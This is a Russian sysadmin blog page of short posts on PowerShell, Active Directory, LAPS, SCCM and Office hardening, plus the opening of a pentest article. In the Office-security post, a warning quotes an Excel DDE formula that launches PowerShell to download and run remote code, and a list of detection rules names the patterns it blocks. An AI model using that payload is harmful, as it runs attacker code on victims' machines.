Главная

Sunday, 25 July 2021

PowerShell Just Enough Administration (JEA).

Всем привет.

Популярность PowerShell подстегнула Microsoft к поиску решения как же позволить пользователю выполнять определенные задачи администрирования, но без наличия лишних прав. Так появилась технология PowerShell JEA (Just Enough Admin).

Принцип работы: администратор создает специальный скрипт, в котором указывает набор задач, т.е. доступных пользователю командлетов и их параметров, а затем распространяет с помощью Windows PowerShell DSC. Пользователь, подключаясь к удаленной системе в сеансе PowerShell Remoting под своей обычной учетной записью, может вызвать любой из указанных командлетов или разрешенных приложений. При попытке выполнить любую другую команду получит ошибку. Если потребуется, прозрачно будут даны права локального администратора для выполнения конкретного командлета из разрешенного списка. Все действия регистрируются в журнале Microsoft-Windows-PowerShell/Operational. Информация о пользователе и специфичном RunSpaceID, производимом через JEA, регистрируется в файле C:\ProgramFiles\Jea\Activity\Activity.csv. Учетная запись администратора создается автоматически при развертывании конечной конфигурации (endpoint) JEA, генерируются случайный пароль и имя в формате JSA-*, и она может использоваться только с JEA. Судя по номеру текущей версии, 0.2.16.6 технология еще находится в процессе активной разработки, и в будущем могут появиться новые возможности. C другой стороны уже пять лет как версия пакета не менялась, значит в Microsoft пересматривают концепцию. Поэтому рассмотрим то что имеем на сегодня.

Для установки JEA войдите в соответствующий DSC-сервер в качестве локального(или доменного) администратора, откройте PowerShell и инсталируйте модуль JEA:

Install-Module xJEA

После его установки можете убедиться в наличии JEA так:

Find-Module –Name xJEA | fl

Теперь, когда мы обладаем установленным модулем JEA, наш следующий шаг состоит в  подготовке необходимой среды для применения JEA. Это можно осуществить при помощи сценария, который поступает с самим модулем JEA. Он располагается в C:\Program Files\WindowsPowerShell\Modules\xJea\0.2.16.6\Examples\SetupJEA.ps1.

Friday, 23 July 2021

Применение потоков в Powershell.

Вcем привет.

Из потоков в Powershell я нашел применение регулярным запросам по фильтрации неактивных аккаунтов  в домене. Мой скрипт ниже.

Заблокированные учетки:

workflow Get-LockedOut {

Search-ADAccount -Server pdc.forza.com -UsersOnly -LockedOut | sort LastLogonDate | Select Name,LastLogonDate,DistinguishedName |   Export-Csv "d:\Monitoring\LockedUsers.csv" -Encoding UTF8

 }

Отключенные учетки:

workflow Get-DisabledUsers {

Search-ADAccount -Server pdc.forza.com -UsersOnly -AccountDisabled | sort Name | Select Name,LastLogonDate,DistinguishedName |   Export-Csv "d:\Monitoring\DisabledUsers.csv" -Encoding UTF8

 }

Отключенные учетки готовые к переносу:

workflow Get-DisabledUsers2OLD {

 Search-ADAccount -Server pdc.forza.com -UsersOnly -AccountDisabled | Where {$_.DistinguishedName -notlike "*OU=OLD_Users,OU=OLD,DC=forza,DC=com"} |  sort Name | Select Name,LastLogonDate,DistinguishedName | Export-Csv "d:\Monitoring\DisabledUsers2OLD.csv" -Encoding UTF8

 }

Неактивные учетки в течение месяца:

workflow Get-InactiveUsers30 {

$t30 = New-Timespan –Days 30

Search-ADAccount -Server pdc.forza.com –UsersOnly –AccountInactive –TimeSpan $t30 | sort Name | Select Name,LastLogonDate,DistinguishedName |  Export-Csv "d:\Monitoring\InactiveUsers30a.csv" -Encoding UTF8

   }

Неактивные учетки в течение года:

workflow get-InactiveUsers365 {

$t365 = New-Timespan –Days 365

Search-ADAccount -Server pdc.forza.com –UsersOnly –AccountInactive –TimeSpan $t365 | sort Name | Select Name,LastLogonDate,DistinguishedName |  Export-Csv "d:\Monitoring\InactiveUsers365a.csv" -Encoding UTF8

    }

Неактивные учетки в течение года готовые к переносу:

workflow get-InactiveUsers365noOld {

$t365 = New-Timespan –Days 365

Search-ADAccount -Server pdc.forza.com –UsersOnly –AccountInactive –TimeSpan $t365 | Where {$_.DistinguishedName -notlike "*OU=OLD_Users,OU=OLD,DC=forza,DC=com"} | sort Name | Select Name,LastLogonDate,DistinguishedName | Export-Csv "d:\Monitoring\InactiveUsers365b.csv" -Encoding UTF8

   }

Неактивные учетки без единого входа:

workflow Get-InactiveUsersNoLogin {

Get-ADUser -Server pdc.forza.com -filter {(Enabled -eq 'False') -and (lastlogondate -notlike '*')} -properties CN,Enabled,DistinguishedName | Select CN,Enabled,DistinguishedName | Export-Csv "d:\Monitoring\InactiveUsersNoLogin.csv" -Encoding UTF8

}

Запускаем все запросы параллельно:

workflow get-ADReport {

  parallel {

  Get-LockedOut 

  Get-DisabledUsers 

  Get-DisabledUsers2OLD 

  Get-InactiveUsers30 

  Get-InactiveUsers365

  Get-InactiveUsers365noOld

  Get-InactiveUsersNoLogin 

  }

}

Get-ADReport

Готово!

Wednesday, 21 July 2021

CSV-файл в Excel.


Всем привет.

Наступил я вчера на один фокус. Понадобилось мне срочно составить список хостов в формате CSV. Забросил выборку в Excel, даю ему cохранить как "CSV - разделитель запятая", и получаю CSV-файл без каких либо разделителей:

Name

Item1

Item2


Печалька. Но опытным путем удалось выяснить чтобы получить CSV-файл с одной колонкой и с разделителем нужно во вторую колонку один раз поставить любой символ, например "x". 

Получаем:

Name;х;

Item1;

Item2;

...

А далее читаем его так:

$PC = Import-Csv -Encoding UTF8 -path "d:\OLD_PC.csv" -Delimiter ";" 

А вот почему Excel считает разделитель ";" за запятую можно только гадать.)

Tuesday, 20 July 2021

LAPS от Microsoft.

Всем привет.

Сегодня репост публикации Андрея Бирюкова, посвященных механизму LAPS. Механизм достаточно известный и нужный, поэтому нет смысла писать про него нечто оригинальное. Стиль автора сохранен, курсив мой.

Использование LAPS не только позволяет упростить жизнь системным администраторам, избавляя их от необходимости вручную менять пароли на каждой рабочей станции, но закрыть серьезную брешь в корпоративной системе безопасности, так как наличие единого пароля локального администратора – это серьезная уязвимость.

Функционал LAPS основан на технологии Group Policy Client Side Extension (CSE) и заключается в генерации и установке уникального пароля локального администратора (SID – 500) на каждом компьютере домена. Пароль автоматически меняется через определенный интервал времени (по умолчанию каждые 30 дней). Значение текущего пароля хранится в конфиденциальном атрибуте учетных записей компьютеров в Active Directory, доступ на просмотр содержимого атрибута регулируется группами безопасности AD. Доменные администраторы, используя LAPS, могут определить, каким пользователям (например, техподдержке) можно изменять эти пароли.

Интересной особенностью LAPS является то, что данная утилита хранит пароли от локальных учетных записей в Active Directory. При этом постоянный доступ к AD не является обязательным. В случае если службы каталога недоступны, администратор сможет войти в систему под установленным паролем локального админа. Синхронизация с AD требуется только при изменении пароля. В основу LAPS положено использование групповых политик Active Directory, на основе которых и производятся распространение и обновление информации о локальных административных учетных записях. Отмечу, что LAPS не требует для работы никаких дополнительных средств и инструментов, достаточно только служб Active Directory.

LAPS не требует для работы никаких дополнительных средств и инструментов, достаточно только служб Active Directory

Работа с LAPS.

Архитектура решения достаточно проста: средства управления устанавливаются на машину администратора, а на всех целевых системах, серверах и ПК устанавливается клиентская часть.

Перед началом установки LAPS необходимо расширить схему Active Directory, в которую будут добавлены два новых атрибута для объектов типа компьютер:

ms-MCS-AdmPwd – атрибут содержит пароль локального администратора в открытом виде;

ms-MCS-AdmPwdExpirationTime – дата истечения срока действия пароля.

Для этого нам необходимо выполнить Import-module AdmPwd.ps и затем команду Update-AdmPwdADSchema. Далее можно приступать к установке административной части. Для ее работы нам необходим NetFramework версии не ниже 4.0.

После начала установки административной части необходимо определиться с тем, какие компоненты нужно установить:

AdmPwd GPO Extension – это исполняемая часть LAPS.

LAPSclient GUI – утилита для просмотра пароля.

PowerShell module – модуль Powershell для управления LAPS.

GPO Editor templates – административные шаблоны для редактора групповой политики.

Saturday, 17 July 2021

Моя Excel-ка.

Всем привет.

От меня вам летняя почемучка.

Он заметил ее не сразу, идущей где-то впереди, далеко по коридору, заметил мимолетом, и тут же остановился как вкопанный. Ему вдруг захотелось на секунду дольше продлить это мгновенье, этот силуэт в конце коридора, который выгодно выделялся светом из окна напротив нее. Непонятно, но ему уже было все равно куда она нашла, навстречу или уходила вдаль, ему хотелось только одного - лишь бы она шла и шла как можно дольше, но не дальше, он никак не мог оторвать взгляд от ее силуэта мечты художника... Черт, это какое-то наваждение нашло... В какой-то миг она приостановилась как-бы что-то вспоминая, а ему вдруг захотелось чтобы она что-то забыла захватить, пусть любой документик, и потому вернулась бы, а это такие прекрасные секунды вида,.... но такого не случилось. В следующую секунду она исчезла за поворотом. Тот час же свет из окна полностью залил пустой коридор. Эх, в тот момент ему не хотелось никуда двигаться, куда же он сам шел? Он уже не помнил, в памяти перед глазами все плыл и плыл прекрасный силуэт, куда-то вдаль, ах да, неважно куда она, и неважно откуда я шел... Может  постоять тут еще и она вернется? К своему удивлению он захотел этого еще больше, ... или просто рвануть и завернуть за ней за угол? Да нет, ерунда, сейчас все пройдет, что в этом мире зависит от правильного освещения, куда же это я, на перекур или куда еще мне надо было то.... Свет в конце коридора опять изменился. Нет, ну это уже слишком, я должен идти,... он еще раз поднял глаза. Ему стало ясно что она возвращается. Вот попал, надо либо идти либо... это что еще такое!?

Скрыться ему не дали, и сам он не сразу понял что говорят именно ему, ведь рядом никого кроме ее не оказалось. Что что, что-то про Excel, ну да, кто бы сомневался... Эх, и куда себя деть то? Так, спокойно, пытаемся в голове заменить картинку силуэта напротив на табличку из Excel-я, гм, ничего не выходит. Хех, а ее голос все еще продолжает звучать музыкой ручья... Это чтобы картинка ее силуэта закрепилась в его памяти  надолго. Да, да конечно, вы моя экселька, ну разумеется, и он обещает сделать то что она просила. Какое там, да он теперь Все для нее сделает, что она попросит и что не попросит тоже... Да бывает, бывает даже часто, у вас запрос появился на подключение к внешним данным? Эх, мне бы вот к вам подключиться, я даже забыл с какого параметра безопасности в таком случае начинают... Ну конечно, в вашем случае лучше всего включить автоматическое обновление связей в книге. Но это если связи налажены и источник достоверный, а какое ко мне доверие в темном коридоре... Чудно, но он вдруг обнаружил что эти мысли проносятся в его голове, а он молча соглашался с ней слегка кивая... В какой то случайный момент монолога силуэт растаял, ее уже там не было. И он мог поручиться что его собственное состояние стало таким же призрачным. Хм, надо себя срочно приводить в порядок, для начала вспомнить куда же я шел, и неплохо бы погрузиться в работу. Но перед погружением стоит нырнуть поглубже в этот чудный Excel. Может пригодиться...

Monday, 12 July 2021

Безопасность в MS Office.


Всем привет.

Как показывает практика популярным потоком заражения любой компании вирусом является  путь забрасывания файлов (обычно email) как документов на канцелярию, бухгалтерию, и, реже, на само руководство. Руководство на такие документы ведется редко, а вот какой-нибудь бухгалтер может с перепугу и открыть его если в теме будет красоваться типа "Неуплаченные налоги на...".

Поэтому правильная настройка офисных инструментов это половина успеха, вторая половина это обучаемость персонала как минимум не открывать документы полученные по почте, если там вдруг всплывает просьба о включении макроса или обновления внешних связей. Потму как, к примеру, наш добрый Excel легко допускает в формулах такое:

=cmd|' /c C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\"http://cloudfront.com/1.dat\"))'|A0'

Про самообучаемость я писал ранее, а сегодня говорим про техническую сторону зашиты, по презентации Владислава Радецкого.

Что же следует сделать в MS Office? Определить следующие параметры.

Параметры ActiveX/Параметры для все пpиложений Office:

Выбрано - выводить запрос перед включением всех элементов управления с миниимальными ограничениями

Включено - безопасный режим (помогает ограничить доступ элементов управления к вашему компьютеру)

Защищенный просмотр: выбраны все три.

Для MS Word -

Параметры макросов:

Выбрано  - Отключить все макросы с уведомлением

Отключено - Доверять доступ к обьектной модели проектов VBA.

Для MS Excel -

Внешнее содержимое/Параметры безопасности на подключение к данным:

выбрано - запрос на подключение к данным.

Параметры безопасности для связей в книге:

выбрано - запрос на автоматическое обновление связей в книге.


Если вы используете McAfee ENS, то активировать следующие политики в Policy Category/ Exploit Prevention для всех типов обьектов:

6131 T1047 - Weaponized OLE object infection via WMI: Block+Report

6109 T1407 - Powershell - Suspicious wmi script execution: Block+Report

6108 Powershell - Suspicious downloading string execution: Block+Report

6127 Suspicous LSASS Access from Powershell: Block+Report

Успехов!

Sunday, 11 July 2021

Конвертация ЕХЕ в MSI.

Всем привет.

Опять я по инсталлирование приложений через SCCM как Application. Так вот если вы все-таки решили сделать все красиво, а у вас  в наличии только инсталляционный ЕХЕ-модуль приложения и поиски скрытых ключей в сети не привели к положительному результату то есть другой способ.

Конвертация ЕХЕ в MSI сторонним инструментом. Самый простой из них и пока бесплатный это применение AppDeploy Repackager. Собственно с его помощью получаете  на выходе MSI-модуль без особых усилий.


Если вам все-таки надо поправить некоторые параметры полученного модуля до выпуска его в работу то задействуйте утилиту Microsoft Orca. Orca является редактором таблиц базы данных для создания и редактирования пакетов установщика Windows и модулей слияния. Orca предоставляет графический интерфейс для проверки, выделяя определенные записи, в которых возникают ошибки или предупреждения проверки.

Что может понадобиться еще? Это GUID для штатного процесса деинсталяции приложения. Выглядит как {2FF988D8-F631-4ED3-BCB0-7ABC79D9A10E}. Где найти? Опять же либо в сети, либо находите ПК где это приложение установлено и читаете из реестра IdentifyingNumber так: 

wmic product get > InstalledPrograms.txt

Или так:

get-wmiobject Win32_Product | sort-object -property Name | Format-Table IdentifyingNumber, Name, LocalPackage -AutoSize

Или так:

$UninstallKeys = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall", "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall"

$null = New-PSDrive -Name HKA -PSProvider Registry -Root Registry::HKEY_USERS

$UninstallKeys += Get-ChildItem HKU: -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'S-\d-\d+-(\d+-){1,14}\d+$' } | ForEach-Object { "HKU:\$($_.PSChildName)\Software\Microsoft\Windows\CurrentVersion\Uninstall" }

foreach ($UninstallKey in $UninstallKeys) {

Get-ChildItem -Path $UninstallKey -ErrorAction SilentlyContinue | Where {$_.PSChildName -match '^{[A-Z0-9]{8}-([A-Z0-9]{4}-){3}[A-Z0-9]{12}}$'} | Select-Object @{n='GUID';e={$_.PSChildName}}, @{n='Name'; e={$_.GetValue('DisplayName')}}

}

Обращаю ваше внимание что версия ОС и ее битность должны быть соответствующие и само приложение должно было быть проинсталлировано корректно.

Успехов.


Friday, 9 July 2021

Дополнительные инструменты SCCM.

Всем привет.

Сегодня для вас первая заметка в формате конспекта из серии публикаций Сергея Болдина, посвященных использованию SCCM 2012 R2. Оригинал статьи был опубликован в журнале "Системный администратор", №12, 2015 (157).

Благодаря дополнительным инструментам SCCM 2012 R2 устраняются многие проблемы , создавая комфортные условия централизованного управления конфигурациями ИТ-инфраструктуры предприятия.

1. Right Click Tools utility - бесплатная утилита, разработанная фирмой Now Micro, проста в установке, интегрируется в консоль SCCM.

Client Action – включает в себя все действия клиента по выявлению установленного оборудования и программ, ПО и обновлений для распространения и другое. Ранее они были доступны только на клиенте («Пуск - Панель управления - Configuration Manager Client - вкладка Actions»), то есть нужно было удаленно подключаться к компьютеру пользователя или работать непосредственно на нем;

Client Tools – позволяет восстановить или удалить SCCM-клиента, изменить размер кэша или его очистить, открыть папки с логами, считать информацию о клиенте и другое;

Console Tools – предоставляет возможность выполнять определенные манипуляции с компьютером: подключиться к диску C:\ по «админской шаре» (C$), открыть оснастку Computer Management (Управление компьютером), System Information (Информация о системе) и Registry.

2. ConfigMgr 2012 R2 Toolkit содержит ряд инструментов, помогающих выявлять и устранять проблемы, возникшие в работе SCCM 2012 R2. Все они делятся на две группы: серверные и клиентские. 

Wednesday, 7 July 2021

Простаки за границей.

Всем привет.

Понемногу, понемногу мир для туриста начинает опять приобретать форму глобуса, а не отдельных направлений с ПЛР или без. Страны соревнуются по темпам вакцинации своего населения, а также по количеству требований к тем кто к ним все-таки захочет приехать. Помню что путешествуя по странам в автобусе на неделю сам вливаешься в новый коллектив людей. Некоторые из них могут стать твоими друзьями, а кто-то и недругом. И еще неизвестно с чем вы знакомитесь больше - с чужими странами или с нашими людьми. Аккорд-туру привет.

Но в последнее время стали прилетать анонсы морских круизов. Штука интересная, со своим расписанием и уставом. Тут уже вы испытаете единение с плавающим отелем и прочими сервисами на борту которые все путешествие будут при вас. Или вы при них. Как оно, не скажу, ибо пока не был. 

Но вот прочувствовать это по одной из книг Марка Твена можно вполне. В основу книги "Простаки за границей" легли его заметки как журналиста, который принял участие в морском круизе 150 лет тому. Детально, с большой долей юмора писатель легко переходил грань между критикой и сатирой при описании своих посещений известных современному туристу мест Марокко, Франции, Италии, Греции, Турции, Єгипта и Ближнего Востока. Посетил он тогда также Севастополь и Одессу. Досталось и самому кораблю, целых 5 глав. Ходил в круиз М.Твен за деньги спонсора, но отработал он их на все 100 ибо несмотря на своеобразный литературный стиль путевые заметки приведшие к изданию книги сделали ее популярнее на то время чем "Приключения Тома Сойера". Насколько я знаю, ее сейчас и в школьной программе то нет. 

Так что рекомендую!

Чистим Windows 10 на автомате.


Всем привет.

Поскольку решения от инфобеза ждать не приходиться, работаем на упреждение - ищем способа очистки от ненужного хлама в Windows 10 сами. Я принципиально не рассматриваю вопросы очистки дисков от лишних файлов сторонних приложений ибо убежден что этим должна заниматься официальная поддержка прикладухи. Если таковой нет то грош цена самой прикладухе.

Рассматриваем только штатные инструменты ибо инфобез бдит. Поехали.

1. Утилита очистки диска (Disk Cleanup) позволяет администратору быстро очистить системный диск Windows, удалив ненужные и временные файлы, в том числе очистить каталог WinSxS от файлов устаревших компонентов, которые остались после установки обновлений. 

С помощью параметров /sageset:n и /sagerun:n вы можете создать и выполнить настроенный набор параметров очистки. Например, выполните команду cleanmgr /sageset:11. В открывшемся окне выберите компоненты и файлы, которые нужно автоматически очищать.

Эти настройки сохраняются в ветке реестра 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches. 

В этой ветке перечислены все компоненты Windows, которые можно очистить с помощью Disk Cleanup. Для каждой опции, которую вы выбрали создается параметр типа DWORD с именем StateFlags0011 (0011 это число, которое вы указали в параметре sageset).

Запуск самой очистки:

cleanmgr /sagerun:11

Либо:

Start-Process -FilePath CleanMgr.exe -ArgumentList '/sagerun:11' -WindowStyle Hidden -Wait

Можно провести экспорт-импорт ветки ресстра на остальнае хосты для автоматизации процесса очистки с помощью cleanmgr. Саму очистку вставить в шедулер.

Friday, 2 July 2021

Powershell для сервис-деска.


Всем привет.

В помощь сервис-деску который оперирует кроме своего дашборда и другими инструментами в AD  я накидал запросы Powershell которые оперативно на 90% закрывают запросы пользователей. Им помогает, и вы пользуйтесь на здоровье!

1) ---------- Unlock account ----------

# смотрим кто заблокирован из пользователей:

Search-ADAccount -UsersOnly –LockedOut -SearchBase "OU=VT,DC=forza,DC=com" | Select-Object Name, SamAccountName | sort Name |  Select-Object SamAccountName

# разблокируем пользователя Мурзик:

Unlock-ADAccount -Identity Murzik.AA

2) ----------- When password is changed---------

# смотрим когда пользователь Мурзик менял свой пароль:

Get-ADUser -Filter "SamAccountName -like 'Murzik*'" -Properties * | Select Name, SamAccountName, Enabled, LastLogon, LastLogonDate, WhenChanged, passwordlastset

3) ----------- Change your psw -------------

# меняем пароль пользователю Мурзик:

$userAD = 'Murzik.AA'

$newpsw = '23423хх04R'

Set-ADAccountPassword $userAD -NewPassword (ConvertTo-SecureString -AsPlainText -String $newpsw -force)

4) ------------ Who is who -----------

# читаем Description где фигурирет хост VIT-C5:

Get-ADUser -SearchBase "OU=VT,DC=forza,DC=com" -Filter {(Description -like '*VIT-C5*')} -Property Description | select Name,Description

# или

Get-ADUser -Filter {(Description -like '*VIT-C5*')} -Property Description | select UserPrincipalName,Description

# читаем Description где фигурирет пользователь Мурзик:

Get-ADUser -Filter {(Name -like 'Мурзик*')} -Property * | select Name,UserPrincipalName,CanonicalName,Description

5) ------------ Local admin psw -----------

# Узнаем пароль локального администратора еcли используется LAPS, т.е. читаем значение атрибута ms-MCS-AdmPwd:

Get-ADComputer -Filter {(Name -like 'VIT-C5*')} -property name,ms-MCS-AdmPwd | select name,ms-MCS-AdmPwd

# или выполняем прямой запрос:

Get-AdmPwdPassword -ComputerName 'VIT-C5*' | fl

6) ------------- Groups ----------

# в каких группах состоит пользователь Murzik:

Get-ADUser -Filter {(Name -like 'Murzik*')} -property MemberOf | foreach {$_.MemberOf -like "*"} 

# соостоит ли пользователь Murzik в группе G-Proxy:

Get-ADUser -Filter {(Name -like 'Murzik*')} -property MemberOf | foreach {$_.MemberOf -like "*G-Proxy,*"} 

# все члены группы Grp-Youtube:

Get-ADGroupMember 'Grp-Youtube' | Select name | Sort name

7) ------------- Ping ----------

# пинг на хост VIT-C5

Test-Connection -ComputerName VIT-C5 -Count 3

Удачи.

Thursday, 1 July 2021

Проводим пентест, часть 7 - ищем сокровища и заметаем следы.

Всем привет.

Сегодня 7-я заключительная часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение (пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №12(169), декабрь 2016. 

Часть 7. Ищем сокровища и заметаем следы.


Что делает хакер, уже проникнув в сеть? В зависимости от структуры компании жертвы эти действия могут отличаться Как же обнаружить злоумышленников?

Этой статьей я завершаю цикл, посвященный проведению тестов на проникновение. В предыдущих шести [1-6] мы достаточно подробно рассмотрели различные способы, которыми может воспользоваться злоумышленник для проникновения в корпоративную сеть. Были  представлены методы, связанные с использованием беспроводных сетей, поиском и эксплуатацией уязвимостей в приложениях, разработкой эксплоитов. Темой этой статьи будет обсуждение действий хакера, который уже проник в сеть, получил шелл на различные серверы, и теперь ему необходимо найти в сети ценную информацию, а также скрыть следы своего присутствия. Как известно, в среднем после взлома сети и до его обнаружения проходит порядка 200 дней (рекорд – восемь лет!). За это время злоумышленник успевает получить доступ практически ко всей интересующей его информации. Рассмотрим, какие действия может предпринять взломщик, проникнув в сеть, и что можно сделать, чтобы их обнаружить.

Вот основные действия хакера, о которых мы будем говорить:

  • взлом паролей
  • инвентаризация и поиск необходимой информации
  • перехват передаваемого трафика
  • выгрузка собранной информации
  • сокрытие следов своего присутствия.


Это некоторый типовой набор действий, которые обычно предпринимает злоумышленник. Перехват передаваемого трафика уже достаточно подробно рассматривался во второй статье цикла, так что здесь мы к этой теме возвращаться не будем. Однако в зависимости от структуры компании жертвы эти действия могут отличаться.


Паролей не бывает много.

Даже получив доступ к сети и создав свои учетные записи с административными правами, злоумышленник будет интересоваться учетными данными легальных пользователей домена, доступ к которым позволит получить доступ к большей информации, в том числе и зашифрованной данным пользователем. Также его действия будут менее заметны. Самый простой способ, к которому он может прибегнуть, – это сделать копию файлов с паролями и затем попытаться расшифровать пользовательские пароли офлайн, то есть на своем оборудовании или с помощью ботсети. Конечно, многие могут возразить, что подбор паролей – это достаточно продолжительный и трудоемкий процесс. Однако с ростом вычислительных мощностей и развитием соответствующих технологий подбор восьмизначного символьно-цифрового пароля может занять считанные минуты. Но обо всем по порядку.

Начнем с того, где хранят пароли различные операционные системы. Начнем с семейства ОС Windows.